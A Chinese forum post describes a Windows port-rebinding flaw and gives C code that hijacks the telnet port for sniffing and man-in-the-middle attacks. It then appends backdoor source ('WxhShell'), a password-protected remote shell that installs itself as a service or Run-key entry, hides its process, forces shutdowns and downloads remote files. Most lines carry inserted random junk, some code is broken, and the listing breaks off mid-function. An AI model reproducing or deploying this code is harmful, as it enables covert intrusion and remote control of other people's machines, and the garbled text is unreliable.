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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qR , 5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WMFn#.aY5  
.dvs&+I  
  saddr.sin_family = AF_INET; '%YTM N@  
r\y\]AmF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x/0x&la  
Oe^9pH,1t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <Zh\6*3:ab  
R80|q#h,]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f,BJb+0  
e`5:46k|  
  这意味着什么?意味着可以进行如下的攻击: 3;!a'[W&p  
-7EwZRS@9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _sHeB7K  
<FN +  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q0Gfwl  
|6`7kb;p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 48!F!v,j)x  
%,d+jBM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &d"s cM5  
R!rMrWX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UG6\OgkL+  
bnE&-N*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #EH\Q%  
CKDg3p';  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q"LT8nD\  
~Oi.bP<,  
  #include 3V]psZS  
  #include q?f-h<yRQ  
  #include :[Ie0[H/M  
  #include    HaOSFltf#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gOaK7A  
  int main() 2$gFiZ  
  { ;!m_RQPFF  
  WORD wVersionRequested; Qb:.WMj[q+  
  DWORD ret; <(us(zbk]  
  WSADATA wsaData; X)8Edw[?N3  
  BOOL val; E7]a#  
  SOCKADDR_IN saddr; &7c#i  
  SOCKADDR_IN scaddr; v\XO?UEJ2  
  int err; "fSK7%BP  
  SOCKET s; z}p*";)A  
  SOCKET sc; &2W`dEv]?  
  int caddsize; ck8Qs08  
  HANDLE mt; ?;go5f+X  
  DWORD tid;   B{1yMJA  
  wVersionRequested = MAKEWORD( 2, 2 ); a$G hb]  
  err = WSAStartup( wVersionRequested, &wsaData ); 6V1 Z(K  
  if ( err != 0 ) { "3?:,$*  
  printf("error!WSAStartup failed!\n"); SLud}|f;o  
  return -1; &Fch{%S>  
  } @h7 i;Ok  
  saddr.sin_family = AF_INET; * @&V=l  
   QFEc?sEe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v<?k$ e5  
Zg >!5{T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ak2Vf0Eb  
  saddr.sin_port = htons(23); N3Z6o.k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mzTM&@  
  { E~,Wpl}  
  printf("error!socket failed!\n"); _[J>GfQd  
  return -1; `mKK1x  
  } `I5So-^&z  
  val = TRUE; m pM,&7}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d^XRkB:h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Fi#b0S  
  { n UD;y}}n  
  printf("error!setsockopt failed!\n"); b#_u.vP  
  return -1; @X#e  
  } 1?T^jcny:M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1=Q3WMT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j}$Q`7-wB1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QdP)-Fx  
M'ZA(LVp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n0=[N'Tw3  
  { #pp6 ycy  
  ret=GetLastError(); QgW4jIbx  
  printf("error!bind failed!\n"); 8'Bik  
  return -1; J(x42Q}*S  
  } A(qy>x-BI  
  listen(s,2); Kj*:G!r0.:  
  while(1) {@`Z`h" N  
  { 5TcirVO82  
  caddsize = sizeof(scaddr); '~kAsn*/  
  //接受连接请求 n/-d56  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pL)o@-k#%  
  if(sc!=INVALID_SOCKET) ;/.XAxkFL  
  { F /% 5 r{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EX^j^#N  
  if(mt==NULL) qUF}rl S=r  
  { JGKiVBN  
  printf("Thread Creat Failed!\n"); [#6Eax,j  
  break; >gTrui{ ,  
  } I^fKZ^]8P  
  } m>@ *-*8k  
  CloseHandle(mt); WD,iY_'7u^  
  } }[*BC5{>  
  closesocket(s); )mMHwLDwH  
  WSACleanup(); 4zM$I  
  return 0; , H_Cn1l  
  }   L|[ 0&u!  
  DWORD WINAPI ClientThread(LPVOID lpParam) :TzHI    
  { RtVG6'Y  
  SOCKET ss = (SOCKET)lpParam; <kr%ylhIu  
  SOCKET sc; W{2(fb  
  unsigned char buf[4096]; (lY< \l  
  SOCKADDR_IN saddr; i''[ u  
  long num; amK.H"  
  DWORD val; +TnRuehtk  
  DWORD ret; s'/ g:aJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2|n~5\K|t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P9aGDma  
  saddr.sin_family = AF_INET; "e\:Cq>\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sA u ;i  
  saddr.sin_port = htons(23); y84= Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7TjK;w7xS.  
  { LL1HDG >l  
  printf("error!socket failed!\n"); c`(]j w  
  return -1; <|'C|J_!  
  } tOK lCc  
  val = 100; KC-q]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BtN@P23>k.  
  { <-:gaA`KM  
  ret = GetLastError(); jz_\B(m9%  
  return -1; `4'['x  
  } 9?M><bBX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K 5SHt'P  
  { b[3K:ot+  
  ret = GetLastError(); jMvWS71  
  return -1; ~97T0{E3  
  } lth t'|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DV(^h$1_  
  { A3C#w J  
  printf("error!socket connect failed!\n"); 9:!<=rk  
  closesocket(sc); 0\*6U H  
  closesocket(ss); |7V:~MTkk&  
  return -1; FbVdqO  
  } q1Vh]d  
  while(1) S"iz fQ@  
  { z (,%<oX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &n.7~C]R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h5-<2B|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Htseu`>_$  
  num = recv(ss,buf,4096,0); &>I4-D[  
  if(num>0) k{3:$, b  
  send(sc,buf,num,0); dHnR)[?e  
  else if(num==0) \7QAk4I~  
  break; mJaWzR  
  num = recv(sc,buf,4096,0); >W= 0N (  
  if(num>0) x;,H>!r"i  
  send(ss,buf,num,0); }%B^Vl%ZZ  
  else if(num==0) [.O 3z*[9#  
  break; T&Y?IE}  
  } !A(*?0`  
  closesocket(ss); $= /.oh  
  closesocket(sc); lS.*/u*5  
  return 0 ; $okGqu8z.O  
  } rAK}rNxI  
#\kYGr-G)  
kDM\IyM<\  
========================================================== Dz4fP;n  
8-Ik .,}  
下边附上一个代码,,WXhSHELL {c|=L@/  
_C3l 2v'I$  
========================================================== FpjpsD~ Qu  
^Jb=&u$  
#include "stdafx.h" 1=x4m=wV  
a)'^'jm)4  
#include <stdio.h> PSX-b)wb  
#include <string.h> `}/&}Sp  
#include <windows.h> F.)b`:g  
#include <winsock2.h> c!Gnd*!?-  
#include <winsvc.h> 9K*yds  
#include <urlmon.h> ne61}F"E  
/){KOCBl;  
#pragma comment (lib, "Ws2_32.lib") E9|eu\  
#pragma comment (lib, "urlmon.lib") m=AqV:%|  
!MDNE*_  
#define MAX_USER   100 // 最大客户端连接数 UX3BeUi.)  
#define BUF_SOCK   200 // sock buffer > oA? 6x  
#define KEY_BUFF   255 // 输入 buffer XoL JL]+?  
g*)K/Z0pJ$  
#define REBOOT     0   // 重启 8(.mt/MR  
#define SHUTDOWN   1   // 关机 tt?58dm|  
KIA 2"KbjG  
#define DEF_PORT   5000 // 监听端口 6iEhsL&K  
Cz4)Yz  
#define REG_LEN     16   // 注册表键长度 fP tm0.r  
#define SVC_LEN     80   // NT服务名长度 F/m^?{==~*  
F62V 3 Xy  
// 从dll定义API F-D]TRG/*]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $@d9<83=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x:vu'A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #po5_dE\*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g~7Ri-"  
bWl5(S` Z  
// wxhshell配置信息 }R3=fbe,\  
struct WSCFG { )&era ` e[  
  int ws_port;         // 监听端口 B QcE9~H  
  char ws_passstr[REG_LEN]; // 口令 {7!UQrm<  
  int ws_autoins;       // 安装标记, 1=yes 0=no "G-1>:   
  char ws_regname[REG_LEN]; // 注册表键名 @prG%vb"  
  char ws_svcname[REG_LEN]; // 服务名 48|s$K^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dC=)^(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A^ _a3$,0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `28};B>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <APB11  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hS[ yNwD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SVjl~U-^  
^qCkt1C-M  
}; $Vc~/>  
as=m`DqOh  
// default Wxhshell configuration 79\Jx iSB  
struct WSCFG wscfg={DEF_PORT, yNm:[bOER  
    "xuhuanlingzhe", V{|}}b?w?  
    1, h25G/`  
    "Wxhshell", )s1Ib4C  
    "Wxhshell", axHK_1N{  
            "WxhShell Service", fzjU<?}  
    "Wrsky Windows CmdShell Service", 7?B.0>$3>V  
    "Please Input Your Password: ", `/Nm 2K  
  1, "<}&GcJbz  
  "http://www.wrsky.com/wxhshell.exe", "cTncL  
  "Wxhshell.exe" "NRDNqj(  
    }; jjJ2>3avY  
y9#$O(G  
// 消息定义模块 {lth+{&L#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZoKcJA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kNu'AT#3|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b3wM;jv  
char *msg_ws_ext="\n\rExit."; 0 ugT2%  
char *msg_ws_end="\n\rQuit."; IV lf=k  
char *msg_ws_boot="\n\rReboot..."; JbB}y'c4}=  
char *msg_ws_poff="\n\rShutdown..."; = 8gHS[  
char *msg_ws_down="\n\rSave to "; i{D=l7j|w  
kE TT4U  
char *msg_ws_err="\n\rErr!"; z} '!eCl  
char *msg_ws_ok="\n\rOK!"; syip;;  
^-FRTC  
char ExeFile[MAX_PATH]; Jc)^49Rf  
int nUser = 0; GE|+fYVM-$  
HANDLE handles[MAX_USER]; DO7W}WU  
int OsIsNt; i&8FBV-  
<8UYhGK  
SERVICE_STATUS       serviceStatus; jlFk@:y4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h;5LgAY|v  
O4<g%.HC6  
// 函数声明 Yxv9  
int Install(void); %p&k5:4<"#  
int Uninstall(void); ]nhr+;of/-  
int DownloadFile(char *sURL, SOCKET wsh); K ~44i  
int Boot(int flag); x\2?ym@  
void HideProc(void); LJX-AO.4  
int GetOsVer(void); GRy-+#,b"  
int Wxhshell(SOCKET wsl); 7FN<iI&7\  
void TalkWithClient(void *cs); #k3t3az2{  
int CmdShell(SOCKET sock); qH"Gm  
int StartFromService(void); Nr2C@FU:0  
int StartWxhshell(LPSTR lpCmdLine); Gu=STb  
Ax oD8|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5unG#szq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k%[3Q>5iM  
`RMI(zI3g.  
// 数据结构和表定义 JO14KY*%  
SERVICE_TABLE_ENTRY DispatchTable[] = -st7_3  
{ Qr# 1u  
{wscfg.ws_svcname, NTServiceMain}, hP J4Oj1O  
{NULL, NULL} 0oy-os  
}; wPbkUVO  
u6:pV.p  
// 自我安装 xr0haN\p"  
int Install(void) `"vZ);i <  
{ ,? E&V_5  
  char svExeFile[MAX_PATH]; i` A  
  HKEY key; U=bEA1*@0  
  strcpy(svExeFile,ExeFile); G0n'KB  
VcK}2<8:+~  
// 如果是win9x系统,修改注册表设为自启动 uhN%Aj\iu(  
if(!OsIsNt) { 3E}EBJLsZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SFH-^ly&D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $]aBe !  
  RegCloseKey(key); ^EVc95|Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { df+t:a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {|9}+ @5Q1  
  RegCloseKey(key); PIcrA2ll  
  return 0; 6]Q3Yz^h  
    } 8GJdRL(  
  } '+<(;2Z vL  
}  Z:2I/  
else { PXP`ZLF  
e2CV6F@a  
// 如果是NT以上系统,安装为系统服务 m9M FwfZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^SEdA=!  
if (schSCManager!=0) E04l|   
{ OH<?DcfeL  
  SC_HANDLE schService = CreateService b M;`s5d  
  ( yh;Y,;4  
  schSCManager, 3l!NG=R  
  wscfg.ws_svcname, 4yMW^:@  
  wscfg.ws_svcdisp, $awi>#[  
  SERVICE_ALL_ACCESS, wh 0<Uv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "cho }X  
  SERVICE_AUTO_START, ~Y5l+EF#  
  SERVICE_ERROR_NORMAL, ]pTvMom$6  
  svExeFile, dOa!htx]  
  NULL, mkvvNm3  
  NULL, )"@t6.  
  NULL, "u}9@}*  
  NULL, }{7e7tW6  
  NULL jigs6#  
  );  ~QG ?k  
  if (schService!=0) k D~uGA  
  { e xR^/|BR  
  CloseServiceHandle(schService); "5DJu ~  
  CloseServiceHandle(schSCManager); ]XUl@Y.   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c $;\i  
  strcat(svExeFile,wscfg.ws_svcname); #S QXTR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~JZ3a0$^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P1 +"v*  
  RegCloseKey(key); 5?u[XAE  
  return 0; Qb^q+C)o]  
    } H;_yRUY9  
  } ka7uK][  
  CloseServiceHandle(schSCManager); ,-*iCs<  
} _ P ,@  
} jThbeY[  
_&{%Wc5W~F  
return 1; u,i]a#K  
} ,j9 80/  
8q_0,>w%  
// 自我卸载 yM$J52#d#  
int Uninstall(void) ~2%3FV^  
{ HR{s&ho  
  HKEY key;  ]6~k4  
8fO8Dob]\Y  
if(!OsIsNt) { J%P)%yX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lSCY5[?  
  RegDeleteValue(key,wscfg.ws_regname); #tz8{o?ebN  
  RegCloseKey(key); o<\6Rm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gRvJ.Q{h  
  RegDeleteValue(key,wscfg.ws_regname); FN{/.?w(  
  RegCloseKey(key); N du7nKG  
  return 0; FLbZ9pX}  
  } }MZan" cfo  
} x`2pr  
} &-F"+v,+  
else { mTd<2Hy  
ZrcPgcF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uz>Yn&{y6  
if (schSCManager!=0) @a;sV!S{  
{ &t[|%c*D&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cyc>_$/;1  
  if (schService!=0) b+$o4 l/x  
  { !$E~\uT  
  if(DeleteService(schService)!=0) { 'wE\{1~_[+  
  CloseServiceHandle(schService); m+$/DD^-zl  
  CloseServiceHandle(schSCManager); 24|<<Xn  
  return 0; sA2o2~AmM  
  } N[ Q#R~Hn<  
  CloseServiceHandle(schService); 1}DerX6  
  } nOuN|q=C  
  CloseServiceHandle(schSCManager); e[p^p!a  
} jaa/k@OG  
} ?1DUNZ6  
V<W02\Hs  
return 1; `vH&K{   
} z@n+7p`w  
B%(K0`G#X  
// 从指定url下载文件 ,*w>z  
int DownloadFile(char *sURL, SOCKET wsh) ;>/ipnx  
{ '}fel5YV  
  HRESULT hr; o@@_J@}#  
char seps[]= "/"; 5~-}}F  
char *token; :7k`R6 2{  
char *file; 59/Q*7ZJ  
char myURL[MAX_PATH]; q|/!0MU"  
char myFILE[MAX_PATH]; F]Pul|.l  
SE-} XI\  
strcpy(myURL,sURL); B~BUW WMfp  
  token=strtok(myURL,seps); `^`9{@~  
  while(token!=NULL) l [x%I  
  { TA<hj[-8  
    file=token; Do(P dF6A  
  token=strtok(NULL,seps); k~ZBJ+ 94  
  } kU>#1 He  
&F9OZMK=  
GetCurrentDirectory(MAX_PATH,myFILE); {MA@ A5  
strcat(myFILE, "\\"); -^y1iN'D  
strcat(myFILE, file); ScsWnZ  
  send(wsh,myFILE,strlen(myFILE),0); @s3aR*ny$  
send(wsh,"...",3,0); J1& A,Gb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Xj;f^}/  
  if(hr==S_OK) #fJwC7  4  
return 0; e|35|I '  
else n JW_a&'  
return 1; v5P*<U Ax  
u;QH8LK  
} 55(J&q  
+q$xw}+PK  
// 系统电源模块 Am]2@ESUP  
int Boot(int flag) Cbazwq  
{ o8iig5bp  
  HANDLE hToken; Ixyvn#ux )  
  TOKEN_PRIVILEGES tkp; |qQ{8T%)  
VM=hQYe  
  if(OsIsNt) { i#Ne'q;T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5/zf x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dw'<"+zO  
    tkp.PrivilegeCount = 1; dx k;@Tz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  n.=e)*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f%`*ba" v  
if(flag==REBOOT) { !5yRWMO9X~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K'a#Mg  
  return 0; pE$|2v  
} BnKP7e  
else { :w?:WH?2L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z%,\+tRe  
  return 0; [q0_7  
} Wq=ZU\Y  
  } (=S"Kvb~#  
  else { ^&f{beU9  
if(flag==REBOOT) { GoGohsj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uzzWZ9Tv  
  return 0; f.U0E6-(3N  
} }1X11+/W  
else { {<''OwQF~+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !mpMa]G3  
  return 0; j]@ x Q,y  
} kR`6s  
} ! 0>!tW  
F]URf&U  
return 1; X]3l| D  
} CrRQPgl+u  
*_2O*{V  
// win9x进程隐藏模块 mMD$X[:  
void HideProc(void) 1)P<cNj  
{ ?9wFV/  
ZTgAZ5_cz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -@gJqoo>  
  if ( hKernel != NULL ) P ],)  
  { rA1zyZlz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q5`+eQ?_\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a`[?,W:q  
    FreeLibrary(hKernel); BCa90  
  } )dN,b( w9  
8-g$HXqs_#  
return; G}hkr  
} Y @ ,e  
c,s<q j  
// 获取操作系统版本 ;uo|4?E:\(  
int GetOsVer(void) QX~72X=(  
{ U-^S<H  
  OSVERSIONINFO winfo; VTX'f2\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r@V(w`  
  GetVersionEx(&winfo); : w`i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6`$z*C2{  
  return 1; ~(doy@0M  
  else 1nM?>j%k  
  return 0; nOoh2jUM  
} -){^ Q:u  
[`n yq)  
// 客户端句柄模块 [~r $US  
int Wxhshell(SOCKET wsl) sVl:EVv  
{ _f2iz4  
  SOCKET wsh; )d a8 Ru  
  struct sockaddr_in client; )UU6\2^  
  DWORD myID; ' xq5tRg>  
RoXOGVo  
  while(nUser<MAX_USER) )t 7HioQ  
{ Tf]VcEF  
  int nSize=sizeof(client); "%iR-s_>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oM7-1O  
  if(wsh==INVALID_SOCKET) return 1; @[ N~;>  
w5G34[v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "Q!{8 9Y  
if(handles[nUser]==0) Iz=E8R g  
  closesocket(wsh); 9Yne=R/]  
else 4 6JP1  
  nUser++; CZno2$8@e  
  } n6+M qN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F>{uB!!L4  
6E%k{ r  
  return 0; e/~<\  
} <}>-ip?  
9 CSz<[  
// 关闭 socket 3JO:n6  
void CloseIt(SOCKET wsh) X7!A(q+h  
{ b<MMli  
closesocket(wsh); 5w%9b  
nUser--; a'.=.eDQ  
ExitThread(0); _E-GHj>k z  
} C/#/F#C  
D#(L@ {vC  
// 客户端请求句柄 o{,(`o.1O  
void TalkWithClient(void *cs) C8SNSeg  
{ 667tL(  
$9b6,Y_-  
  SOCKET wsh=(SOCKET)cs; ITOGD  
  char pwd[SVC_LEN]; m=y)i]=1  
  char cmd[KEY_BUFF]; :zZM&r>  
char chr[1]; xpo}YF'5  
int i,j; XX+rf  
+DDvM;31w  
  while (nUser < MAX_USER) { v:ZD}Q_  
7~g0{W>Zm  
if(wscfg.ws_passstr) { p`ZGV97  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [r~l O@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e6/} M3B  
  //ZeroMemory(pwd,KEY_BUFF); ;<Q_4 V  
      i=0; e1a%Rj~  
  while(i<SVC_LEN) { 'S ;vv]}Gs  
kF7Al]IgT  
  // 设置超时 AY]nc# zz  
  fd_set FdRead; jV8><5C  
  struct timeval TimeOut; tt91)^GdYa  
  FD_ZERO(&FdRead); ;bbEd'  
  FD_SET(wsh,&FdRead); s!\L1E  
  TimeOut.tv_sec=8; "d\8OOU  
  TimeOut.tv_usec=0; =ye}IpC*M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c }cboe2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n(MEG'9}  
y->iv%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Hg#c!eOg  
  pwd=chr[0]; F!<x;h(  
  if(chr[0]==0xd || chr[0]==0xa) { XsCbA8Qv  
  pwd=0; {,-#;A*yW  
  break; gr7_oJ:R  
  } 2y,wN"qH*  
  i++; "+60B0>sc  
    } C, rZ}-  
YWdvL3Bgk,  
  // 如果是非法用户,关闭 socket Ks-><-2+N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YKk%;U*  
} 2:yv:7t/  
'` "&RuB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }mK_d9dx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gS 3&,^  
3@J wL{C  
while(1) { M`FL&Ac  
N3)EG6vE*  
  ZeroMemory(cmd,KEY_BUFF); fQh!1R  
I`l< }M  
      // 自动支持客户端 telnet标准   o=}?aC3I  
  j=0; 'UKB pm/  
  while(j<KEY_BUFF) { %,BJkNV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wim}}^H  
  cmd[j]=chr[0]; 5Ml}m  
  if(chr[0]==0xa || chr[0]==0xd) { R<U <Y'Y  
  cmd[j]=0; /M3D[aR<d  
  break; BL8\p_U  
  } zDl, bLiJ  
  j++; MtYP3:  
    } \W}EyA  
/B!m|)h5~  
  // 下载文件 1!f'nS  
  if(strstr(cmd,"http://")) { ^z^>]Qd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NdNfai  
  if(DownloadFile(cmd,wsh)) Z>,X$ Y6<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ob00(?;H  
  else og\XLJ}_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $1?X%8V  
  } =P#!>*\ar  
  else { tbPPI)lu  
Lq[wabF  
    switch(cmd[0]) { ;Bb5KD  
  >1~`tP  
  // 帮助 W<LaR,7  
  case '?': { 1ZL_;k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YxtkI:C?  
    break; cP2R2 4th  
  } O<h#|g1  
  // 安装 DXz8C -  
  case 'i': { S1zw'!O5  
    if(Install()) LgNNtZ&F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/Xrhhx  
    else YgiGI <U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >>bYg  
    break; u-9t s  
    } 4) 3pa*  
  // 卸载 W`'|&7~  
  case 'r': { b(q&}60  
    if(Uninstall()) B%@!\ D#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9,5II0N L  
    else <u?hdwW \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T+nC>}*jgJ  
    break; [T}]Ma*CS  
    } _Af4ct;ng  
  // 显示 wxhshell 所在路径 ]0i2 ]=J&,  
  case 'p': { jN} 7Bb X  
    char svExeFile[MAX_PATH]; >.hGoT!_k  
    strcpy(svExeFile,"\n\r"); .r|vz6tU?  
      strcat(svExeFile,ExeFile); ]XG n2U\  
        send(wsh,svExeFile,strlen(svExeFile),0); aaug u.9  
    break; !;aC9VhSU  
    } m=.7f9  
  // 重启 ,ok J eZ  
  case 'b': { Kc[u} .U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %H}Y]D~R  
    if(Boot(REBOOT)) mjl!Nth:<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [9U srpYi  
    else { b#;N!VX  
    closesocket(wsh); To8v#.i  
    ExitThread(0); ~`>26BWQz  
    } Px7g\[]  
    break; ms\/=96F  
    } Omh&)|Iql  
  // 关机 :$cSQ(q9a  
  case 'd': { 7x7r!rSe,  
